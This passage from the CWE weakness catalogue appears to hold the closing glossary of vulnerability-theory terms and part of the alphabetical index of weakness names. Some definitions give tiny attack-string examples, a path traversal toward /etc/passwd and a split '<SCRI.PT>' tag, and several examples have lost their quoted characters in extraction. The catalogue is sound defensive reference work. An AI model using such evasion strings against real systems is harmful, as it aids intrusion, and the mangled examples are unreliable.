Insecure  Use of this term is discouraged in names and descriptions for CWE weaknesses, since it does not provide any hint about the actual error that was introduced by the developer. Some unreviewed entries may still use this term, although it will be corrected in future versions of CWE. This is a general term used to describe a behavior that is incorrect and has security implications.

Insufficient  a general term used to describe when a security property or behavior can vary in strength on a continuous or sliding scale, instead of a discrete scale. The continuous scale may vary depending on the context and risk tolerance. For example, the requirements for randomness may vary between a random selection for a greeting message versus the generation of a military-strength key. On the other hand, a weakness that allows a buffer overflow is always incorrect - there
is not a sliding scale that varies across contexts. Note: this term has been used inconsistently in CWE, although it was more clearly defined beginning in CWE 1.4.

**Interaction Point** a vulnerability theory term for the point in code from which input is obtained from the external environment. For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

**Internal** used to describe a manipulation that occurs within an identifier or input, and not at the beginning or the end. This term is often used in conjunction with special elements. For example, the string "~/etc/passwd" has multiple internal "" characters, or "<SCRI.PT>" has an internal "" character.

**Leading** 1) used to describe a manipulation that occurs at the beginning of an identifier or input. This term is often used in conjunction with special elements. For example, the string "~//etc/passwd" has multiple leading "" characters. 2) used to describe the transition from a primary to resultant weakness in a chain

**Loose Composite** an informal term for describing a CWE entry that the general public thinks of as an individual weakness, but is actually a disjoint list of multiple distinct weaknesses - i.e., a narrowly-defined category. This is not well-handled within CWE 1.0, although it might be regarded as another kind of Compound Element. An example of a loose composite is "insecure temporary file" - the temporary file could have permissions problems, be used as a semaphore, be part of a race condition, etc.

**Manipulation** the modification of a resource by an actor, typically to change its properties. Usually used in the context of software as it manipulates inputs and system resources to ensure that security properties are enforced.

**Missing** used to describe a behavior that the developer has not attempted to perform. This is distinct from "incorrect," which describes when the developer attempts to perform the behavior, but does not do it correctly. Note: this term is being used inconsistently in CWE, although it has been more clearly defined since CWE 1.2.

**Mitigation** the process of remediating a weakness, leaving the software in a more secure state.

**Named Chain** a Chain that appears so frequently in software that a CWE ID has been assigned to it, such as CWE-680 (Integer Overflow to Buffer Overflow).

**Natural Hierarchy** the term used in Draft 9 for the Research Concepts View (CWE-1000).

**Neutralization** a general term to describe the process of ensuring that input or output has certain security properties before it is used. This is independent of the specific protection mechanism that performs the neutralization. The term could refer to one or more of the following: filtering/cleansing, canonicalization/resolution, encoding/decoding, escaping/unescaping, quoting/unquoting, validation, or other mechanisms.

**Neutralize** to perform Neutralization.

**Node** another term for a CWE entry, especially used before CWE 1.0.

**Permissions** the explicit specifications for a resource, or a set of resources, that defines which actors are allowed to access that resource, and which actions may be performed by those actors. Permissions can contribute to the definition of one or more intended control spheres.

**Pillar** a top-level entry in the Research Concepts View (CWE-1000). Equivalent to "kingdoms" in Seven Pernicious Kingdoms.

**Plaintext** information that is used as the input to an encryption algorithm, which might contain already-encrypted text. Many people use the "plaintext" term to mean "unencrypted," and others may use "cleartext" to mean the same thing.

**Primary Weakness** a weakness that is an initial, critical error (root cause) that can expose other weaknesses later in execution of the software.

**Property** a vulnerability theory term for the security-relevant characteristic of an individual resource or behavior that is important to the system's intended security model, which might change over time. For example, user input is initially untrusted; after the system neutralizes the input, when the input is finally processed, it must be treated as trusted. This illustrates the Trustability property.

**Protection Mechanism** a vulnerability theory term for a set of behaviors that helps to enforce an implicit or explicit security policy for the software, such as an input validation routine.

**Reliance** a security-relevant assumption that a resource has a given property, which can lead to weaknesses if that property cannot be guaranteed. For example, an access control protection mechanism might use reverse DNS lookups (CWE-247) in an attempt to limit access to systems in a particular domain; however, this reliance on DNS introduces a weakness because DNS results can be spoofed.

**Resolution** the process of converting a resource identifier to a single, canonical form. For example, code that converts "/tmp/abc/..../def.xyz" to "/tmp/def.xyz" is performing resolution on an identifier that is being used for a file resource.

**Resolve** to perform Resolution.

**Resource** a vulnerability theory term for an object or entity that is accessed or modified within the operation of the software, such as memory, CPU, files, or sockets. Resources can be system-level (memory or CPU), code-level (function or variable), or application-level (cookie or message).
**Resultant Weakness**  a weakness that is only exposed to attack after another weakness has been exploited; an early link in a chain.

**Sanitization**  Use of this term is discouraged in names and descriptions for CWE weaknesses, since it has too many different meanings in the industry and may cause mapping errors. It is not precise enough for CWE's purpose. This decision was made in CWE 1.8.1. Some entries may still use this term, but they will be modified in future versions. Similar terms in use in CWE may include "Neutralization," "Validation," "Encoding," and "Filtering."

**Sanitize**  This term is discouraged for use in CWE.

**SDLC**  Software Development Lifecycle.

**Security Policy**  in vulnerability theory, a set of valid behaviors, properties, and resources within the context of operation of a software system. The policy is generally implicit (as reflected in the code, or the programmer's assumptions), but it can be explicit.

**Slice**  a view that is a flat list of CWE entries that does not specify any relationships between those entries.

**Special Element**  a general term for a sequence of bytes, characters, or words that is used to separate different portions of data within a particular representation or language. The most commonly understood usage of special elements is in single characters, such as the "<" in HTML, which marks the beginning of a tag. As another example, the CRLF (carriage return / line feed) character is used as a separator between headers in MIME messages, so CRLF is a special element. When multi-part MIME messages are constructed, the boundary string becomes a special element. Special elements are often important in weaknesses that can be exploited by injection attacks. A special element in one representation might not be special in another. For example, whitespace is a special element when executing a command in a shell (since it acts as an argument separator), but it has no special meaning in the body of HTML or e-mail messages.

**Sphere of Control**  See Control Sphere

**Trailing**  used to describe a manipulation that occurs at the end of an identifier or input. This term is often used in conjunction with special elements. For example, the string "example.com." has a trailing "." character.

**Trigger Point**  a vulnerability theory term for the location in code after which the software can no longer prevent itself from violating the intended security policy. For example, in SQL injection, the code reads an input from a parameter (interaction point), incorrectly checks the input for dangerous characters (crossover point), inserts the input into a dynamically generated query string, then sends the query string to the database server (trigger point), then the query is processed by the server (activation point). See the Vulnerability Theory paper for more details.

**Unexpected**  violating the assumptions of the developer or operator of the software. This is typically used to describe the state of the software, a behavior that was not intended, or a property of a resource that was not assumed to be present. For example, if an e-commerce program allows a user to specify the quantity of items to purchase, and the program assumes that the quantity will be a number, then the string "abcde" is unexpected. A program crash is usually unexpected behavior. Similarly, when a programmer dereferences a pointer, it is usually unexpected if that pointer can be NULL. Attacks often leverage unexpected properties and behaviors, since the developer has not necessarily provided a sufficient defense.

**Variant**  a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.

**View**  a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).

**Vulnerability**  an occurrence of a weakness (or multiple weaknesses) within software, in which the weakness can be used by a party to cause the software to modify or access unintended data, interrupt proper execution, or perform incorrect actions that were not specifically granted to the party who uses the weakness.

**Weakness**  a type of mistake in software that, in proper conditions, could contribute to the introduction of vulnerabilities within that software. This term applies to mistakes regardless of whether they occur in implementation, design, or other phases of the SDLC.
## Index

### A
- Absolute Path Traversal, 64
- Acceptance of Extraneous Untrusted Data With Trusted Data, 608
- Access of Memory Location After End of Buffer, 1212
- Access of Memory Location Before Start of Buffer, 1209
- Access of Resource Using Incompatible Type ('Type Confusion'), 1291
- Access of Uninitialized Pointer, 1257
- Access to Critical Private Variable via Public Method, 1175
- Addition of Data Structure Sentinel, 783
- Algorithmic Complexity, 707
- Allocation of File Descriptors or Handles Without Limits or Throttling, 1191
- Allocation of Resources Without Limits or Throttling, 1178
- Always-Incorrect Control Flow Implementation, 1040
- Apple '.DS_Store', 106
- Argument Injection or Modification, 155
- Array Declared Public, Final, and Static, 924
- ASP.NET Environment Issues, 8
- ASP.NET Misconfiguration: Creating Debug Binary, 8
- ASP.NET Misconfiguration: Missing Custom Error Page, 9
- ASP.NET Misconfiguration: Not Using Input Validation Framework, 893
- ASP.NET Misconfiguration: Password in Configuration File, 11
- ASP.NET Misconfiguration: Use of Identity Impersonation, 894
- Assigning instead of Comparing, 813
- Assignment of a Fixed Address to a Pointer, 929
- Assignment to Variable without Use ('Unused Variable'), 901
- Asymmetric Resource Consumption (Amplification), 704
- Attempt to Access Child of a Non-structure Pointer, 930
- Authentication Bypass by Alternate Name, 514
- Authentication Bypass by Assumed-Immutable Data, 535
- Authentication Bypass by Capture-replay, 521
- Authentication Bypass by Primary Weakness, 537
- Authentication Bypass by Spoofing, 516
- Authentication Bypass Using an Alternate Path or Channel, 513
- Authentication Bypass: OpenSSLCTX Object Modified after SSL Objects are Created, 935
- Authorization Bypass Through User-Controlled Key, 990
- Authorization Bypass Through User-Controlled SQL Primary Key, 905

### B
- Behavioral Change in New Version or Environment, 754
- Behavioral Problems, 753
- Buffer Access Using Size of Source Buffer, 1239
- Buffer Access with Incorrect Length Value, 1234
- Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), 234
- Buffer Over-read, 254
- Buffer Under-read, 256
- Buffer Underwrite ('Buffer Underflow'), 250
- Business Logic Errors, 1287
- Byte/Object Code, 852

### C
- Call to Non-ubiquitous API, 931
- Call to Thread run() instead of start(), 912
- CERT C Secure Coding Section 01 - Preprocessor (PRE), 1133
- CERT C Secure Coding Section 02 - Declarations and Initialization (DCL), 1134
- CERT C Secure Coding Section 03 - Expressions (EXP), 1134
- CERT C Secure Coding Section 04 - Integers (INT), 1135
- CERT C Secure Coding Section 05 - Floating Point (FLP), 1135
- CERT C Secure Coding Section 06 - Arrays (ARR), 1136
- CERT C Secure Coding Section 07 - Characters and Strings (STR), 1136
- CERT C Secure Coding Section 08 - Memory Management (MEM), 1137
- CERT C Secure Coding Section 09 - Input Output (FIO), 1137
- CERT C Secure Coding Section 10 - Environment (ENV), 1138
- CERT C Secure Coding Section 11 - Signals (SIG), 1139
- CERT C Secure Coding Section 12 - Error Handling (ERR), 1139
- CERT C Secure Coding Section 49 - Miscellaneous (MSC), 1140
- CERT C Secure Coding Section 50 - POSIX (POS), 1140
- CERT C++ Secure Coding Section 01 - Preprocessor (PRE), 1316
- CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL), 1316
- CERT C++ Secure Coding Section 03 - Expressions (EXP), 1316
- CERT C++ Secure Coding Section 04 - Integers (INT), 1317
- CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP), 1317
- CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR), 1317
- CERT C++ Secure Coding Section 07 - Characters and Strings (STR), 1318
- CERT C++ Secure Coding Section 08 - Memory Management (MEM), 1318
- CERT C++ Secure Coding Section 09 - Input Output (FIO), 1319
- CERT C++ Secure Coding Section 10 - Environment (ENV), 1320
- CERT C++ Secure Coding Section 11 - Signals (SIG), 1321
- CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR), 1321
- CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP), 1322
- CERT C++ Secure Coding Section 14 - Concurrency (CON), 1322
- CERT C++ Secure Coding Section 49 - Miscellaneous (MSC), 1322
- CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS), 1295
- CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL), 1295
- CERT Java Secure Coding Section 02 - Expressions (EXP), 1296
- CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM), 1296
- CERT Java Secure Coding Section 04 - Object Orientation (OBJ), 1297
- CERT Java Secure Coding Section 05 - Methods (MET), 1297
- CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR), 1298
- CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA), 1298
CERT Java Secure Coding Section 08 - Locking (LCK), 1299
CERT Java Secure Coding Section 09 - Thread API (THI), 1299
CERT Java Secure Coding Section 10 - Thread Pools (TPS), 1299
CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM), 1300
CERT Java Secure Coding Section 12 - Input Output (FIO), 1300
CERT Java Secure Coding Section 13 - Serialization (SER), 1301
CERT Java Secure Coding Section 14 - Platform Security (SEC), 1301
CERT Java Secure Coding Section 15 - Runtime Environment (ENV), 1302
CERT Java Secure Coding Section 16 - Miscellaneous (MSC), 1302

Chain Elements, 1056
Channel Accessible by Non-Endpoint (‘Man-in-the-Middle’), 531
Channel and Path Errors, 723
Channel Errors, 724
Cleansing, Canonicalization, and Comparison Errors, 332
Cleartext Storage in a File or on Disk, 557
Cleartext Storage in the Registry, 559
Cleartext Storage of Sensitive Information, 555
Cleartext Storage of Sensitive Information in a Cookie, 559
Cleartext Storage of Sensitive Information in Executable, 562
Cleartext Storage of Sensitive Information in GUI, 561
Cleartext Storage of Sensitive Information in Memory, 560
Cleartext Transmission of Sensitive Information, 563
Client-Side Enforcement of Server-Side Security, 949
clone() Method Without super.clone(), 923
Cloneable Class Containing Sensitive Information, 844
Code, 17
Coding Standards Violation, 1112
Collapse of Data into Unsafe Value, 350
Command Shell in Externally Accessible Directory, 892
Comparing instead of Assigning, 816
Comparison of Classes by Name, 822
Comparison of Object References Instead of Object Contents, 938
Compiler Optimization Removal or Modification of Security-Critical Code, 1131
Compiler Removal of Code to Clear Buffers, 12
Composites, 1056 (Graph: 1443)
Comprehensive CWE Dictionary, 1418
Concurrency Issues, 895
Concurrent Execution using Shared Resource with Improper Synchronization (‘Race Condition’), 628
Configuration, 15
Containment Errors (Container Errors), 411
Context Switching Race Condition, 647
Covert Channel, 860
Covert Storage Channel, 861
Covert Timing Channel, 667
Creation of chroot Jail Without Changing Working Directory, 434
Creation of Temporary File in Directory with Incorrect Permissions, 660
Creation of Temporary File With Insecure Permissions, 659
Credentials Management, 454
Critical Public Variable Without Final Modifier, 835
Critical Variable Declared Public, 1173
Cross-Site Request Forgery (CSRF), 612
Cryptographic Issues, 548

CWE Cross-section, 1323

D
Dangerous Signal Handler not Disabled During Sensitive Operations, 742
Dangling Database Cursor (‘Cursor Injection’), 968
Data Processing Errors, 18
Data Structure Issues, 780
Dead Code, 898
Deadlock, 1275
Declaration of Catch for Generic Exception, 683
Declaration of Throws for Generic Exception, 684
Deletion of Data Structure Sentinel, 781
Deployment of Wrong Handler, 740
DEPRECATED (Duplicate): Covert Timing Channel, 862
DEPRECATED (Duplicate): Failure to provide confidentiality for stored data, 412
DEPRECATED (Duplicate): General Information Management Problems, 417
DEPRECATED (Duplicate): HTTP response splitting, 758
DEPRECATED (Duplicate): Miscalculated Null Termination, 276
DEPRECATED (Duplicate): Proxied Trusted Channel, 728
DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision, 439
DEPRECATED (Duplicate): Trusting Self-reported DNS Name, 519
Decprecated Entries, 953
DEPRECATED: Authentication Bypass Issues, 935
DEPRECATED: Failure to Protect Stored Data from Modification, 412
DEPRECATED: General Special Element Problems, 287
DEPRECATED: Improper Sanitization of Custom Special Characters, 172
DEPRECATED: Incorrect Initialization, 777
DEPRECATED: Often Misused: Path Manipulation, 440
DEPRECATED: State Synchronization Error, 653
DEPRECATED: Use of Dynamic Class Loading, 887
DEPRECATED: User Interface Errors, 761
Deserialization of Untrusted Data, 849
Detection of Error Condition Without Action, 673
Development Concepts, 1083 (Graph: 1444)
Direct Request (‘Forced Browsing’), 729
Direct Use of Unsafe JNI, 208
Divide By Zero, 648
Double Decoding of the Same Data, 336
Double Free, 718
Double-Checked Locking, 957
Double-Checked Locking, 957
Double-Checked Locking, 957
Doubled Character XSS Manipulations, 151
Download of Code Without Integrity Check, 837
Duplicate Key in Associative List (Alist), 780
Duplicate Operations on Resource, 1045
Dynamic Variable Evaluation, 977

E
EBJ Bad Practices: Use of AWT Swing, 915
EJB Bad Practices: Use of Class Loader, 920
EJB Bad Practices: Use of Java I/O, 917
EJB Bad Practices: Use of Sockets, 919
EJB Bad Practices: Use of Synchronization Primitives, 914
Embedded Malicious Code, 854
Empty Password in Configuration File, 459
Empty Synchronized Block, 927
Encoding Error, 333
Environment, 1
Error Conditions, Return Values, Status Codes, 672
Error Handling, 670
Excessive Iteration, 1276
Executable Regular Expression Error, 974
Execution After Redirect (EAR), 1082
Execution with Unnecessary Privileges, 441
Expected Behavior Violation, 754
Expired Pointer Dereference, 1259
Explicit Call to finalize(), 928
Exposed Dangerous Method or Function, 1141
Exposed IOCTL with Insufficient Access Control, 1202
Exposed Unsafe ActiveX Method, 968
Exposure of Access Control List Files to an Unauthorized Control Sphere, 873
Exposure of Backup File to an Unauthorized Control Sphere, 873
Exposure of Core Dump File to an Unauthorized Control Sphere, 872
Exposure of Data Element to Wrong Session, 825
Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak'), 698
Exposure of Private Information ('Privacy Violation'), 623
Exposure of Resource to Wrong Sphere, 1037
Exposure of Sensitive Data Through Data Queries, 389
Exposure of System Data to an Unauthorized Control Sphere, 842
Expression is Always False, 908
Expression is Always True, 911
Expression Issues, 908
External Control of Assumed-Immutable Web Parameter, 795
External Control of Critical State Data, 995
External Control of File Name or Path, 108
External Control of System or Configuration Setting, 14
External Influence of Sphere Definition, 1043
External Initialization of Trusted Variables or Data Stores, 769
Externally Controlled Reference to a Resource in Another Sphere, 959
Failure to Handle Incomplete Element, 430
Failure to Handle Missing Parameter, 426
Failure to Sanitize Paired Delimiters, 311
Failure to Sanitize Special Element, 314
Failure to Sanitize Special Elements into a Different Plane (Special Element Injection), 116
File and Directory Information Exposure, 880
File Descriptor Exhaustion, 1177
Files or Directories Accessible to External Parties, 892
finalize() Method Declared Public, 925
finalize() Method Without super.finalize(), 907
Free of Memory not on the Heap, 932
Free of Pointer not at Start of Buffer, 1162
Function Call With Incorrect Argument Type, 1069
Function Call With Incorrect Number of Arguments, 1068
Function Call With Incorrect Order of Arguments, 1066
Function Call With Incorrect Variable or Reference as Argument, 1071
Function Call With Incorrectly Specified Argument Value, 1070
Function Call with Incorrectly Specified Arguments, 979
Guessable CAPTCHA, 1233
Handler Errors, 740
Heap-based Buffer Overflow, 245
Hidden Functionality, 1340
Improper Access Control, 500
Improper Address Validation in IOCTL with METHOD_NONE I/O Control Code, 1200
Improper Authentication, 508
Improper Authorization, 502
Improper Authorization in Handler for Custom URL Scheme, 1366
Improper Certificate Validation, 522
Improper Check for Certificate Revocation, 530
Improper Check for Dropped Privileges, 486
Improper Check for Unusual or Exceptional Conditions, 1146
Improper Check or Handling of Exceptional Conditions, 1105
Improper Cleanup on Throwed Exception, 779
Improper Clearing of Heap Memory Before Release ('Heap Inspection'), 435
Improper Control of a Resource Through its Lifetime, 1028
Improper Control of Document Type Definition, 1262
Improper Control of Dynamically-Identified Variables, 1341
Improper Control of Dynamically-Managed Code Resources, 1340
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), 184
Improper Control of Generation of Code ('Code Injection'), 173
Improper Control of Interaction Frequency, 1229
Improper Control of Resource Identifiers ('Resource Injection'), 190
Improper Cross-boundary Removal of Sensitive Data, 405
Improper Encoding or Escaping of Output, 217
Improper Enforcement of a Single, Unique Action, 1280
Improper Enforcement of Behavioral Workflow, 1288
Improper Enforcement of Message Integrity During Transmission in a Communication Channel, 1354
Improper Enforcement of Message or Data Structure, 1110
Improper Export of Android Application Components, 1356
Improper Filtering of Special Elements, 1217
Improper Following of a Certificate's Chain of Trust, 525
Improper Following of Specification by Caller, 913
Improper Fulfillment of API Contract ('API Abuse'), 419
Improper Handling of Additional Special Element, 325
Improper Handling of Alternate Encoding, 335
Improper Handling of Apple HFS+ Alternate Data Stream Path, 107
Improper Handling of Case Sensitivity, 343
Improper Handling of Exceptional Conditions, 1153
Improper Handling of Extra Parameters, 427
Improper Handling of Extra Values, 423
Improper Handling of File Names that Identify Virtual Resources, 101
Improper Handling of Highly Compressed Data (Data Amplification), 709
Improper Handling of Incomplete Structural Elements, 429
Improper Handling of Inconsistent Special Elements, 326
Improper Handling of Inconsistent Structural Elements, 430
Improper Handling of Insufficient Entropy in TRNG, 589
Improper Handling of Insufficient Permissions or Privileges, 496
Improper Handling of Insufficient Privileges, 488
Improper Handling of Length Parameter Inconsistency, 266
Improper Handling of Missing Special Element, 324
Improper Handling of Missing Values, 422
Improper Handling of Mixed Encoding, 338
Improper Handling of Parameters, 425
Improper Handling of Structural Elements, 429
Improper Handling of Syntactically Invalid Structure, 420
Improper Handling of Undefined Parameters, 428
Improper Handling of Undefined Values, 424
Improper Handling of Unexpected Data Type, 431
Improper Handling of Unicode Encoding, 339
Improper Handling of URL Encoding (Hex Encoding), 341
Improper Handling of Values, 422
Improper Handling of Windows ::DATA Alternate Data Stream, 105
Improper Handling of Windows Device Names, 103
Improper Initialization, 1029
Improper Input Validation, 18
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), 30
Improper Link Resolution Before File Access ('Link Following'), 91
Improper Locking, 1034
Improper Neutralization of Alternate XSS Syntax, 153
Improper Neutralization of Comment Delimiters, 302
Improper Neutralization of CRLF Sequences ('CRLF Injection'), 172
Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting'), 211
Improper Neutralization of Data within XPath Expressions ('XPath Injection'), 1000
Improper Neutralization of Data within XQuery Expressions ('XQuery Injection'), 1011
Improper Neutralization of Delimiters, 287
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'), 177
Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection'), 181
Improper Neutralization of Encoded URI Schemes in a Web Page, 149
Improper Neutralization of Equivalent Special Elements, 116
Improper Neutralization of Escape, Meta, or Control Sequences, 301
Improper Neutralization of Expression/Command Delimiters, 296
Improper Neutralization of HTTP Headers for Scripting Syntax ('Cross-site Scripting'), 131
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), 131
Improper Neutralization of Input Leaders, 298
Improper Neutralization of Input Terminators, 297
Improper Neutralization of Internal Special Elements, 321
Improper Neutralization of Invalid Characters in Identifiers in Web Pages, 152
Improper Neutralization of Leading Special Elements, 316
Improper Neutralization of Line Delimiters, 293
Improper Neutralization of Macro Symbols, 304
Improper Neutralization of Multiple Internal Special Elements, 323
Improper Neutralization of Multiple Leading Special Elements, 317
Improper Neutralization of Multiple Trailling Special Elements, 320
Improper Neutralization of Null Byte or NUL Character, 312
Improper Neutralization of Parameter/Argument Delimiters, 289
Improper Neutralization of Quoting Syntax, 299
Improper Neutralization of Record Delimiters, 291
Improper Neutralization of Script in an Error Message Web Page, 144
Improper Neutralization of Script in Attributes in a Web Page, 147
Improper Neutralization of Script in Attributes of IMG Tags in a Web Page, 146
Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS), 142
Improper Neutralization of Section Delimiters, 294
Improper Neutralization of Server-Side Includes (SSI) Within a Web Page, 183
Improper Neutralization of Special Elements, 284
Improper Neutralization of Special Elements in Data Query Logic, 1373
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), 113
Improper Neutralization of Special Elements used in a Command ('Command Injection'), 117
Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection'), 1348
Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'), 168
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), 121
Improper Neutralization of Special Elements used in a SQL Command ('SQL Injection'), 159
Improper Neutralization of Substitution Characters, 305
Improper Neutralization of Trailling Special Elements, 319
Improper Neutralization of Value Delimiters, 290
Improper Neutralization of Variable Name Delimiters, 307
Improper Neutralization of Whitespace, 309
Improper Neutralization of Wildcards or Matching Symbols, 308
Improper Null Termination, 328
Improper Output Neutralization for Logs, 223
Improper Ownership Management, 498
Improper Preservation of Permissions, 497
Improper Privilege Management, 478
Improper Protection of Alternate Path, 728
Improper Release of Memory Before Removing Last Reference ('Memory Leak'), 695
Improper Resolution of Path Equivalence, 73
Improper Resource Locking, 714
Improper Resource Shutdown or Release, 700
Improper Restriction of Communication Channel to Intended Endpoints, 1354
Improper Restriction of Excessive Authentication Attempts, 542
Improper Restriction of Names for Files and Other Resources, 993
Improper Restriction of Operations within the Bounds of a Memory Buffer, 226
Improper Restriction of Power Consumption, 1351
Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion'), 1193
Improper Restriction of XML External Entity Reference ('XXE'), 960
Improper Synchronization, 1026
Improper Update of Reference Count, 1339
Improper Validation of Array Index, 258
Improper Validation of Certificate Expiration, 528
Improper Validation of Certificate with Host Mismatch, 526
Improper Validation of Function Hook Arguments, 972
Improper Validation of Integrity Check Value, 619
Improper Verification of Cryptographic Signature, 606
Improper Verification of Intent by Broadcast Receiver, 1355
Improper Verification of Source of a Communication Channel, 1368
Improperly Controlled Modification of Dynamically-Determined Object Attributes, 1343
Improperly Implemented Security Check for Standard, 622
Inadequate Encryption Strength, 573
Inadvertently Introduced Weakness, 863
Index

Inappropriate Encoding for Output Context, 1281
Inclusion of Functionality from Untrusted Control Sphere, 1266
Inclusion of Web Functionality from an Untrusted Source, 1271
Incomplete Blacklist, 352
Incomplete Blacklist to Cross-Site Scripting, 1076
Incomplete Cleanup, 777
Incomplete Filtering of Multiple Instances of Special Elements, 1220
Incomplete Filtering of One or More Instances of Special Elements, 1218
Incomplete Filtering of Special Elements, 1217
Incomplete Identification of Uploaded File Variables (PHP), 965
Incomplete Internal State Distinction, 652
Incomplete Model of Endpoint Features, 753
Inconsistent Interpretation of HTTP Requests (‘HTTP Request Smuggling’), 758
Incorrect Access of Indexable Resource (‘Range Error’), 225
Incorrect Authorization, 1308
Incorrect Behavior Order, 1080
Incorrect Behavior Order: Authorization Before Parsing and Canonicalization, 891
Incorrect Behavior Order: Early Amplification, 708
Incorrect Behavior Order: Early Validation, 345
Incorrect Behavior Order: Validate Before Canonicalize, 347
Incorrect Behavior Order: Validate Before Filter, 349
Incorrect Block Delimitation, 817
Incorrect Calculation, 1063
Incorrect Calculation of Buffer Size, 269
Incorrect Calculation of Multi-Byte String Length, 282
Incorrect Check of Function Return Value, 452
Incorrect Control Flow Scoping, 1108
Incorrect Conversion between Numeric Types, 1060
Incorrect Default Permissions, 491
Incorrect Execution-Assigned Permissions, 495
Incorrect Implementation of Authentication Algorithm, 536
Incorrect Ownership Assignment, 1111
Incorrect Permission Assignment for Critical Resource, 1124
Incorrect Pointer Scaling, 788
Incorrect Privilege Assignment, 472
Incorrect Provision of Specified Functionality, 1067
Incorrect Regular Expression, 355
Incorrect Resource Transfer Between Spheres, 1039
Incorrect Semantic Object Comparison, 939
Incorrect Short Circuit Evaluation, 1176
Incorrect Synchronization, 1253
Incorrect Type Conversion or Cast, 1107
Incorrect Use of Privileged APIs, 1006
Incorrect User Management, 508
Incorrectly Specified Destination in a Communication Channel, 1370
Indicator of Poor Code Quality, 685
Information Exposure, 384
Information Exposure of Internal State Through Behavioral Inconsistency, 395
Information Exposure Through an Error Message, 397
Information Exposure Through an External Behavioral Inconsistency, 396
Information Exposure Through Behavioral Discrepancy, 394
Information Exposure Through Browser Caching, 870
Information Exposure Through Caching, 869
Information Exposure Through Cleanup Log Files, 884
Information Exposure Through Debug Information, 409
Information Exposure Through Debug Log Files, 877
Information Exposure Through Directory Listing, 889
Information Exposure Through Discrepancy, 390
Information Exposure Through Environmental Variables, 871
Information Exposure Through Externally-generated Error Message, 404
Information Exposure Through Include Source Code, 883
Information Exposure Through Indexing of Private Data, 962
Information Exposure Through Java Runtime Error Message, 879
Information Exposure Through Log Files, 875
Information Exposure Through Persistent Cookies, 882
Information Exposure Through Process Environment, 408
Information Exposure Through Query Strings in GET Request, 941
Information Exposure Through Self-generated Error Message, 402
Information Exposure Through Sent Data, 388
Information Exposure Through Server Error Message, 890
Information Exposure Through Server Log Files, 876
Information Exposure Through Servlet Runtime Error Message, 878
Information Exposure Through Shell Error Message, 877
Information Exposure Through Source Code, 882
Information Exposure Through Test Code, 874
Information Exposure Through Timing Discrepancy, 396
Information Exposure Through WSDL File, 1010
Information Loss or Omission, 414
Information Management Errors, 384
Information Management Errors, 384
Initialization and Cleanup Errors, 767
Input Validation and Representation, 1417
Insecure Default Variable Initialization, 768
Insecure Inherited Permissions, 493
Insecure Reserved Inherited Permissions, 494
Insecure Storage of Sensitive Information, 1353
Insecure Temporary File, 657
Insufficient Comparison, 1081
Insufficient Compartmentalization, 1012
Insufficient Control Flow Management, 1075
Insufficient Control of Network Message Volume (Network Amplification), 705
Insufficient Encapsulation, 820
Insufficient Entropy, 587
Insufficient Entropy in PRNG, 588
Insufficient Logging, 1196
Insufficient Resource Pool, 710
Insufficient Session Expiration, 962
Insufficient Type Distinction, 611
Insufficient UI Warning of Dangerous Operations, 622
Insufficient Verification of Data Authenticity, 601
Insufficiently Protected Credentials, 865
Integer Coercion Error, 368
Integer Overflow or Wraparound, 361
Integer Overflow to Buffer Overflow, 1059
Integer Overflow to Wraparound, 367
Integer Overflow to Wraparound, 367
Intentional Information Exposure, 407
Intentionally Introduced Nonmalicious Weakness, 860
Intentionally Introduced Weakness, 853
Interception Error, 750
Interpretation Conflict, 751

J

J2EE Bad Practices: Direct Management of Connections, 436
J2EE Bad Practices: Direct Use of Sockets, 438
J2EE Bad Practices: Direct Use of Threads, 664
J2EE Bad Practices: Non-serializable Object Stored in Session, 922
J2EE Bad Practices: Use of System.exit(), 662
J2EE Environment Issues, 2
J2EE Framework: Saving Unserializable Objects to Disk, 936
J2EE Misconfiguration: Data Transmission Without Encryption, 2
J2EE Misconfiguration: Entity Bean Declared Remote, 6
J2EE Misconfiguration: Insufficient Session-ID Length, 3
J2EE Misconfiguration: Missing Custom Error Page, 5
J2EE Misconfiguration: Plaintext Password in Configuration File, 894
J2EE Misconfiguration: Weak Access Permissions for EJB Methods, 7
J2EE Time and State Issues, 662
K
Key Exchange without Entity Authentication, 568
Key Management Errors, 565
L
Lack of Administrator Control over Security, 1040
Least Privilege Violation, 483
Leftover Debug Code, 826
Location, 1
Logging of Excessive Data, 1198
Logic/Time Bomb, 859
Loop with Unreachable Exit Condition ('Infinite Loop'), 1277
M
Mac Virtual File Problems, 106
Misinterpretation of Input, 217
Mismatched Memory Management Routines, 1165
Missing Authentication for Critical Function, 538
Missing Authorization, 1303
Missing Check for Certificate Revocation after Initial Check, 650
Missing Critical Step in Authentication, 536
Missing Custom Error Page, 1154
Missing Default Case in Switch Statement, 806
